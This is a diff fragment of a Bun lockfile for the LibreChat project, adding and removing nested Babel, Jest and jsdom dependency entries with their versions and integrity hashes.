+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
+
+ "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
+
+ "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
+
+ "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
+
+ "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
+
+ "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
+
+ "@librechat/frontend/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+
+ "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
"@librechat/frontend/@testing-library/jest-dom/chalk/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
- "@node-saml/passport-saml/@types/express/@types/express-serve-static-core/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "@librechat/frontend/jest-environment-jsdom/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
- "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer/protobufjs/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "@librechat/frontend/jest-environment-jsdom/jsdom/cssstyle/cssom": ["cssom@0.3.8", "", {}, "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/http-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/https-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/tough-cookie/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/tough-cookie/universalify": ["universalify@0.2.0", "", {}, "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-url/tr46": ["tr46@3.0.0", "", { "dependencies": { "punycode": "^2.1.1" } }, "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA=="],
"expect/jest-message-util/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
- "expect/jest-message-util/@jest/types/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
-
- "expect/jest-util/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
-
"express-static-gzip/serve-static/send/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="],
- "jwks-rsa/@types/express/@types/express-serve-static-core/@types/node/undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
